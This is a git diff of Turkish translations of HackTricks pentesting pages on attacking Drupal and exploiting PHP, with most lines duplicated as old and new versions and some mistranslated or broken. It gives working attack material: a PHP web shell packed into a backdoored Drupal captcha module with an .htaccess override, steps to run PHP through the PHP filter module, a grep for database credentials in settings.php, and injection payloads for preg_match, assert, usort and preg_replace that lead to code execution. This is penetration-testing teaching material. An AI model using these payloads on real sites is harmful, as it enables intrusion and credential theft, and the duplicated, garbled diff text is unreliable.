HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,26 +2,26 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Keşif
* **Meta**'yı kontrol edin
* **meta**'yı kontrol edin
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
@ -46,7 +46,7 @@ curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
Drupal'ın daha yeni kurulumları, varsayılan olarak `CHANGELOG.txt` ve `README.txt` dosyalarına erişimi engeller.
Drupal'ın daha yeni kurulumları varsayılan olarak `CHANGELOG.txt` ve `README.txt` dosyalarına erişimi engeller.
{% endhint %}
### Kullanıcı adı numaralandırma
@ -78,7 +78,7 @@ _/user/\<number>_ adresine erişerek mevcut kullanıcı sayısını görebilirsi
### Gizli sayfalar
**`/node/$` şeklinde bir sorgulama yapın, burada `$` bir numaradır** (örneğin 1 ile 500 arasında).\
Bu şekilde **gizli sayfalar** (test, dev) bulabilirsiniz ki bunlar arama motorları tarafından referans gösterilmez.
Bu şekilde **gizli sayfalar** (test, dev) bulabilirsiniz, bu sayfalar arama motorları tarafından referans alınmamış olabilir.
#### Kurulu modüller bilgisi
```bash
@ -99,32 +99,32 @@ droopescan scan drupal -u http://drupal-site.local
### PHP Filtre Modülü ile
{% hint style="warning" %}
Drupal'ın **(8. sürümden önceki sürümlerinde)** eski versiyonlarında, bir yönetici olarak giriş yaparak **`PHP filtresi` modülünü etkinleştirmek** mümkündü, bu modül "Gömülü PHP kodlarını/snippet'leri değerlendirmeye olanak tanır."
Drupal'ın **(8. sürümden önceki sürümlerinde)** eski versiyonlarında, bir yönetici olarak giriş yaparak **`PHP filtresi` modülünü etkinleştirmek** mümkündü, bu da "Gömülü PHP kodlarının değerlendirilmesine izin verir."
{% endhint %}
**Eklenti php'nin yüklü olması gerekmektedir** (bunu kontrol etmek için _/modules/php_ adresine erişerek kontrol edin ve eğer **403** hatası alırsanız, **mevcut**, eğer **bulunamazsa**, o zaman **php eklentisi yüklü değildir**)
**Eklentinin php olarak yüklü olması gerekmektedir** (bunu kontrol etmek için _/modules/php_ adresine erişerek kontrol edin ve eğer **403** hatası alırsanız, **mevcut** demektir, eğer **bulunamadı** hatası alırsanız, **php eklentisi yüklü değildir**)
_Modüller_ sekmesine gidin -> (**Kontrol Et**) _PHP Filtresi_ -> _Yapılandırmayı Kaydet_
_Modüller_ -> (**Kontrol Et**) _PHP Filtresi_ -> _Yapılandırmayı Kaydet_
![](<../../.gitbook/assets/image (247) (1).png>)
Ardından _İçerik Ekle_ seçeneğine tıklayın -> _Temel Sayfa_ veya _Makale_ seçin -> _Gövdede php kabuk kodunu yazın_ -> _Metin formatı_ olarak _PHP kodu_ seçin -> _Önizleme_ seçeneğini seçin
Ardından _İçerik Ekle_'ye tıklayın -> _Temel Sayfa_ veya _Makale_ seçin -> _Gövdede php kabuk kodunu yazın_ -> _Metin formatında_ _PHP kodu_ seçin -> _Önizleme_ seçin
![](<../../.gitbook/assets/image (335).png>)
Son olarak, sadece yeni oluşturulan düğüme erişin:
Son olarak sadece yeni oluşturulan düğüme erişin:
```bash
curl http://drupal-site.local/node/3
```
### PHP Filtre Modülünü Yükle
**8 ve sonraki sürümlerden itibaren**, [**PHP Filtre**](https://www.drupal.org/project/php/releases/8.x-1.1) **modülü varsayılan olarak yüklenmez**. Bu işlevselliği kullanabilmek için **modülü kendimiz yüklememiz gerekecek**.
Sürüm **8 ve sonrasında**, [**PHP Filtre**](https://www.drupal.org/project/php/releases/8.x-1.1) **modülü varsayılan olarak yüklenmez**. Bu işlevselliği kullanabilmek için **modülü kendimiz yüklememiz gerekecek**.
1. Modülün en güncel sürümünü Drupal web sitesinden indirin.
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
3. İndirildikten sonra **`Yönetim`** > **`Raporlar`** > **`Kullanılabilir güncellemeler`** bölümüne gidin.
4. **`Göz at`**'e tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardından **`Yükle`**'ye tıklayın.
5. Modül yüklendikten sonra **`İçerik`** üzerine tıklayarak **yeni bir temel sayfa oluşturabiliriz**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin biçimi`ılır menüsünden `PHP kodu`'nu seçtiğinizden emin olun**.
4. **`Gözat`**'a tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardından **`Yükle`**'ye tıklayın.
5. Modül yüklendikten sonra **`İçerik`** üzerine tıklayarak **yeni bir temel sayfa oluşturun**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin biçimi`ılır menüsünden `PHP kodu`'nu seçtiğinizden emin olun**.
### Arka Kapılı Modül
@ -135,13 +135,13 @@ Bir arka kapılı modül, **mevcut bir modüle bir kabuk ekleyerek oluşturulabi
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* İçeriğiyle birlikte bir **PHP web kabuğu** oluşturun:
* İçeriğiyle bir **PHP web kabuğu** oluşturun:
```php
<?php
system($_GET["cmd"]);
?>
```
* Sonraki adım olarak, kendimize klasöre erişim sağlamak için bir **`.htaccess`** dosyası oluşturmamız gerekiyor. Bu, Drupal'ın **`/modules`** klasörüne doğrudan erişimi reddettiği için gereklidir.
* Ardından, kendimize klasöre erişim sağlamak için bir **`.htaccess`** dosyası oluşturmamız gerekiyor. Bu, Drupal'ın **`/modules`** klasörüne doğrudan erişimi reddettiği için gereklidir.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
@ -153,7 +153,7 @@ RewriteBase /
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Websiteye **yönetici erişimine** sahip olduğumuzu varsayarak, **`Yönet`** üzerine tıklayın ve ardından kenar çubuğunda **`Genişlet`** seçeneğine tıklayın. Daha sonra **`+ Yeni modül yükle`** düğmesine tıklayın ve yükleme sayfasına yönlendirileceksiniz, örneğin `http://drupal-site.local/admin/modules/install` Backdoored Captcha arşivine göz atın ve **`Yükle`**'ye tıklayın.
* Websiteye **yönetici erişimine** sahip olduğumuzu varsayarak, **`Yönet`** üzerine tıklayın ve ardından kenar çubuğunda **`Genişlet`** seçeneğine tıklayın. Daha sonra **`+ Yeni modül yükle`** düğmesine tıklayın ve yükleme sayfasına yönlendirileceksiniz, örneğin `http://drupal-site.local/admin/modules/install` Backdoor ekli Captcha arşivine göz atın ve **`Yükle`**'ye tıklayın.
* Yükleme başarılı olduktan sonra, komutları yürütmek için **`/modules/captcha/shell.php`** sayfasına göz atın.
## Sonrası Sızma
@ -162,7 +162,7 @@ tar cvf captcha.tar.gz captcha/
```
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
### Veritabanından Kullanıcıları Dökün
### Veritabanından kullanıcıları dökün
```
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
@ -170,14 +170,14 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
@ -185,6 +185,6 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -8,13 +8,13 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking ipuçlarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Hacking ipuçlarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -38,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### Gevşek karşılaştırmalar/Tür Dönüşümü ( == )
Eğer PHP'de `==` kullanılıyorsa, karşılaştırmanın beklenildiği gibi davranmadığı beklenmedik durumlar olabilir. Bu, "==" sadece aynı türe dönüştürülen değerleri karşılaştırır, eğer karşılaştırılan verinin türünün de aynı olduğunu karşılaştırmak istiyorsanız `===` kullanmanız gerekir.
Eğer PHP'de `==` kullanılıyorsa, beklenmeyen durumlar olabilir ve karşılaştırma beklenildiği gibi davranmayabilir. Bu, "==" sadece aynı türe dönüştürülen değerleri karşılaştırır, eğer karşılaştırılan verinin türünün de aynı olduğunu karşılaştırmak istiyorsanız `===` kullanmanız gerekir.
PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -47,11 +47,11 @@ PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.compariso
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Bir sayı ile başlamayan bir dize bir sayıya eşittir
* `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatındaki sayılardan oluşan dizeler, aynı sayılar/dizilerle karşılaştırılabilir ve sonuç olarak True döner (bir dizideki sayılar sayı olarak yorumlanır)
* `"0e3264578" == 0 --> True` "0e" ile başlayan ve herhangi bir şeyi takip eden bir dize 0'a eşittir
* `"0X3264578" == 0X --> True` "0" ile başlayan ve herhangi bir harfi (X herhangi bir harf olabilir) ve herhangi bir şeyi takip eden bir dize 0'a eşittir
* `"0e12334" == "0" --> True` Bu çok ilginç çünkü bazı durumlarda "0" ile başlayan ve karşılaştırılan veriye eşit olan bir içerik ve "0" ile başlayan bir kıyaslama yapabilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir karmayı oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten karmalanmış dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Bir dizideki herhangi bir harf int 0'a eşittir
* `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatındaki sayılardan oluşan dizeler, diğer sayılar/dizelerle karşılaştırılabilir ve sayılar aynıysa sonuç True olur (bir dizideki sayılar sayı olarak yorumlanır)
* `"0e3264578" == 0 --> True` "0e" ile başlayan ve herhangi bir şeyi takip eden bir dize 0'a eşit olacaktır
* `"0X3264578" == 0X --> True` "0" ile başlayan ve herhangi bir harfi takip eden (X herhangi bir harf olabilir) ve herhangi bir şeyi takip eden bir dize 0'a eşit olacaktır
* `"0e12334" == "0" --> True` Bu çok ilginç çünkü bazı durumlarda "0" ile başlayan ve karşılaştırılan veriye eşit olan bir dize girdisi ve bazı içerikleri kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir karmayı oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten karmalanmış dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Bir dizideki herhangi bir harf, int 0'a eşittir
Daha fazla bilgi için [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -74,21 +74,21 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
### Katı Tür Dönüşümü
### Katı tür Jonglajı
`strcasecmp()` ile aynı hata meydana gelir.
`strcasecmp()` ile aynı hata meydana gelir
Katı karşılaştırma yapılmasına rağmen, karşılaştırmanın tür dönüşümüne duyarlı hale getiren hatalar olabilir. Örneğin, karşılaştırma veriyi karşılaştırmadan önce farklı bir nesne türüne dönüştürüyorsa:
Eğer `===` kullanılıyorsa bile, karşılaştırmanın **tür jonglajına karşı savunmasız** olabileceği hatalar olabilir. Örneğin, karşılaştırma **veriyi karşılaştırmadan önce farklı bir nesne türüne dönüştürüyorsa**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
**`preg_match()`** kullanıcı girdisini **doğrulamak** için kullanılabilir (herhangi bir **kelime/regex**'in **kara listesinde** olup olmadığını **kontrol eder** ve değilse, kod işlemini sürdürebilir).
**`preg_match()`** kullanıcı girini **doğrulamak** için kullanılabilir (herhangi bir **kelime/regex**'in **kara listesinde** olup olmadığını **kontrol eder** ve eğer değilse, kod işlemini sürdürebilir).
#### Yeni satır atlatma
Ancak, regexp'in başlangıcını sınırlarken `preg_match()` **sadece kullanıcı girdisinin ilk satırını kontrol eder**, sonra eğer bir şekilde girişi **birkaç satırda gönderebilirseniz**, bu kontrolü atlayabilirsiniz. Örnek:
Ancak, regexp'in başlangıcını sınırlarken `preg_match()` sadece kullanıcı girişinin ilk satırını kontrol eder, sonra eğer bir şekilde girişi **birkaç satırda gönderebilirseniz**, bu kontrolü atlayabilirsiniz. Örnek:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -111,8 +111,8 @@ Bu kontrolü atlatmak için değeri **yeni satırlarla urlencoded** (`%0A`) gön
#### **Uzunluk hatası atlatma**
(Bu atlatma, görünüşe göre PHP 5.2.5'te denenmiş ve PHP 7.3.15'te çalıştıramadım)\
Eğer `preg_match()`'e geçerli çok **büyük bir giriş** gönderebilirseniz, **işleyemez** ve kontrolü **atlayabilirsiniz**. Örneğin, eğer bir JSON'u karalistelediyse gönderebilirsiniz:
(Bu atlatma, görünüşe göre PHP 5.2.5'te denenmiş ve PHP 7.3.15'te çalıştırılamamıştır)\
Eğer `preg_match()`'e geçerli çok **büyük bir giriş** gönderebilirseniz, **işleyemez** ve kontrolü **atlayabilirsiniz**. Örneğin, eğer JSON'u karalistelediyse şunu gönderebilirsiniz:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -122,17 +122,17 @@ Hile kaynağı: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
Kısacası, sorun, PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine kurulması nedeniyle oluşur. PCRE'de belirli düzenli ifadeler, çok sayıda özyineli çağrı kullanılarak eşleştirilir, bu da çok miktarda yığın alanı kullanır. Özyineli çağrıların miktarına izin verilen bir sınır belirlenebilir, ancak PHP'de bu sınır [varsayılan olarak 100.000'dir](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ve yığın alanına sığmaktan daha fazladır.
Kısacası, sorun, PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine kurulması nedeniyle oluşur. PCRE'de belirli düzenli ifadeler, çok sayıda özyineli çağrı kullanılarak eşleştirilir ve bu da çok miktarda yığın alanı tüketir. Özyineli çağrılara izin verilen miktar üzerinde bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000'dir](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ve yığın alanına sığmaktan daha fazladır.
Bu sorun hakkında daha detaylı konuşulan yazıda [Bu Stackoverflow konu başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da paylaşılmıştır. Görevimiz şimdi açıktı:\
**Regex'in 100.000'den fazla özyineli çağrı yapmasını sağlayan bir giriş göndermek, SIGSEGV'ye neden olarak `preg_match()` fonksiyonunun `false` döndürmesini sağlamak ve böylece uygulamanın girişimizin kötü niyetli olmadığını düşünmesini sağlamak, yüklem sonunda `{system(<çokkötükod>)}` gibi bir sürpriz atmak ve SSTI --> RCE --> bayrak :) elde etmek**.
**Regex'in 100.000'den fazla özyineli çağrı yapmasını sağlayacak bir giriş göndermek, SIGSEGV'ye neden olacak ve `preg_match()` fonksiyonunun `false` döndürmesini sağlayarak uygulamanın girişimizin kötü niyetli olmadığını düşünmesini sağlamak, yüklem sonunda `{system(<çokkötükod>)}` gibi bir sürpriz atmak ve SSTI --> RCE --> bayrak :) elde etmek**.
Aslında, regex terimleri açısından, gerçekte 100k "özyineli çağrı" yapmıyoruz, ancak "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerinde](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) belirtildiği gibi `pcre.backtrack_limit` değişkeninde varsayılan olarak 1.000.000 (1M) olur.\
Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### PHP obfuscation için Tür Juggling
### PHP obfuscation için Türkçe Karakter Dizisi Dönüşümü
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -166,8 +166,8 @@ Kontrol et:
## Daha fazla hile
* **register\_globals**: **PHP < 4.1.1.1** sürümlerinde veya yanlış yapılandırılmışsa, **register\_globals** etkin olabilir (veya davranışları taklit ediliyor olabilir). Bu, global değişkenlerde $\_GET gibi bir değer varsa örneğin $\_GET\["param"]="1234", bu değere **$param** üzerinden erişebilirsiniz. Bu nedenle, HTTP parametreleri göndererek kod içinde kullanılan değişkenleri **üzerine yazabilirsiniz**.
* **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alan içinde **farklı yollarda farklı çerezler kullanılıyorsa** bir yolun, diğer yolun çerezine erişmesini sağlayabilirsiniz. Bu şekilde, **her iki yol da aynı isimde bir değişkene erişirse**, bu değişkenin değerini yol1'den yol2'ye uygulayabilirsiniz. Ve sonra yol2, yol1'in değişkenlerini geçerli kabul eder (çerezin adını, yol2'de karşılık gelen adı vererek).
* Makinenin kullanıcılarının **kullanıcı adlarını** elde ettiğinizde, php dizinlerinin etkin olup olmadığını kontrol etmek için **/\~\<KULLANICIADİ>** adresini kontrol edin.
* **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alan içinde **farklı yollarla farklı çerezler kullanılıyorsa** bir yolun, diğer yolun çerezine erişmesini sağlayabilirsiniz. Bu şekilde **her iki yol da aynı isimde bir değişkene erişirse**, bu değişkenin değerini yol1'de uygulayabilirsiniz. Ve ardından yol2, yol1'in değişkenlerini geçerli kabul eder (çerezin adını yol2'de karşılık gelen adı vererek).
* Makinenin kullanıcı adlarını elde ettiğinizde, **kullanıcıların adreslerini kontrol edin: /~\<KULLANICIADı>** ve php dizinlerinin etkin olup olmadığını görün.
* [**Php sargıları kullanarak LFI ve RCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
@ -180,9 +180,9 @@ False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### HTTP başlıklarını atlayarak PHP hatalarını suiistimal etme
### HTTP başlıkları atlatarak PHP hatalarını istismar etme
Eğer bir **PHP sayfası hataları yazdırıyor ve kullanıcı tarafından sağlanan bazı girdileri geri döndürüyorsa**, kullanıcı PHP sunucusunun geri **bazı içerikleri yeterince uzun** yazdırmasını sağlayarak sunucunun yanıtına başlıkları eklemeye çalıştığında sunucunun bir hata fırlatacağını yapabilir.\
Eğer bir **PHP sayfası hataları yazdırıyor ve kullanıcı tarafından sağlanan bazı girdileri geri döndürüyorsa**, kullanıcı PHP sunucusunun geri **bazı içerikleri yeterince uzun** yazdırmasını sağlayarak sunucunun cevaba **başlıkları eklemeye çalıştığında hata fırlatacağını** yapabilir.\
Aşağıdaki senaryoda **saldırgan sunucunun büyük hatalar fırlatmasını sağladı**, ve ekran görüntüsünde görebileceğiniz gibi PHP **başlık bilgilerini değiştirmeye çalıştığında** (örneğin CSP başlığı kullanıcıya gönderilmedi):
![](<../../../.gitbook/assets/image (1082).png>)
@ -194,13 +194,11 @@ Aşağıdaki senaryoda **saldırgan sunucunun büyük hatalar fırlatmasını sa
**shell\_exec("ls");**
[Daha fazla faydalı PHP fonksiyonu için buraya bakın](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **preg\_replace()** aracılığıyla Uzaktan Kod Çalıştırma (RCE)
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
"replace" argümanındaki kodu yürütmek için en az bir eşleşme gereklidir. Bu preg\_replace seçeneği **PHP 5.5.0'den itibaren kullanımdan kaldırılmıştır.**
"replace" argümanındaki kodu yürütmek için en az bir eşleşmeye ihtiyaç vardır. Bu preg\_replace seçeneği **PHP 5.5.0'den itibaren kullanımdan kaldırılmıştır.**
### **Eval() Aracılığıyla Uzaktan Kod Çalıştırma (RCE)**
```
@ -212,15 +210,15 @@ preg_replace("/a/e","phpinfo()","whatever")
```
### **Assert() ile RCE**
Bu php içindeki fonksiyon, bir dize içinde yazılmış kodu **çalıştırmanıza** olanak tanır ve buna bağlı olarak **true veya false döndürür** (ve buna bağlı olarak yürütümü değiştirir). Genellikle kullanıcı değişkeni bir dizenin ortasına yerleştirilir. Örneğin:\
Bu php içindeki fonksiyon, bir dize içinde yazılmış kodu **çalıştırmanıza** olanak tanır ve sonucuna bağlı olarak işlemi değiştirmenize olanak sağlar. Genellikle kullanıcı değişkeni dizenin ortasına yerleştirilir. Örneğin:\
`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunu yapabilirsiniz:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
### RCE via usort()
### **usort() ile Uzaktan Kod Çalıştırma (RCE)**
Bu fonksiyon, belirli bir işlevi kullanarak öğelerin bir dizisini sıralamak için kullanılır.\
Bu işlevi kötüye kullanmak için:
Bu fonksiyonu kötüye kullanmak için:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
@ -240,7 +238,9 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
**Kapanış yapmanız gereken parantez sayısını keşfetmek için:**
### **Kapanış Parantez Sayısını Keşfetme**
Kapatmanız gereken parantez sayısını keşfetmek için **//** kullanabilirsiniz:
- `?order=id;}//`: Bir hata mesajı alırız (`Parse error: syntax error, unexpected ';'`). Muhtemelen bir veya daha fazla parantez eksik.
- `?order=id);}//`: Bir **uyarı** alırız. Bu doğru gibi görünüyor.
@ -248,24 +248,24 @@ usort();}phpinfo;#, "cmp");
### **.httaccess Üzerinden RCE**
Eğer bir **.htaccess** dosyası **yükleyebilirseniz**, birçok şeyi yapılandırabilir ve hatta kodu çalıştırabilirsiniz (bu dosyaların uzantısı .htaccess olan dosyaların **çalıştırılabilir** olabileceğini yapılandırabilirsiniz).
Eğer bir **.htaccess** dosyası **yükleyebilirseniz**, birçok şeyi yapılandırabilir ve hatta kodu **çalıştırabilirsiniz** (bu dosyaların uzantısı .htaccess olanların **çalıştırılabileceği şekilde yapılandırılabilir**).
Farklı .htaccess kabuklarına [buradan](https://github.com/wireghoul/htshells) ulaşabilirsiniz.
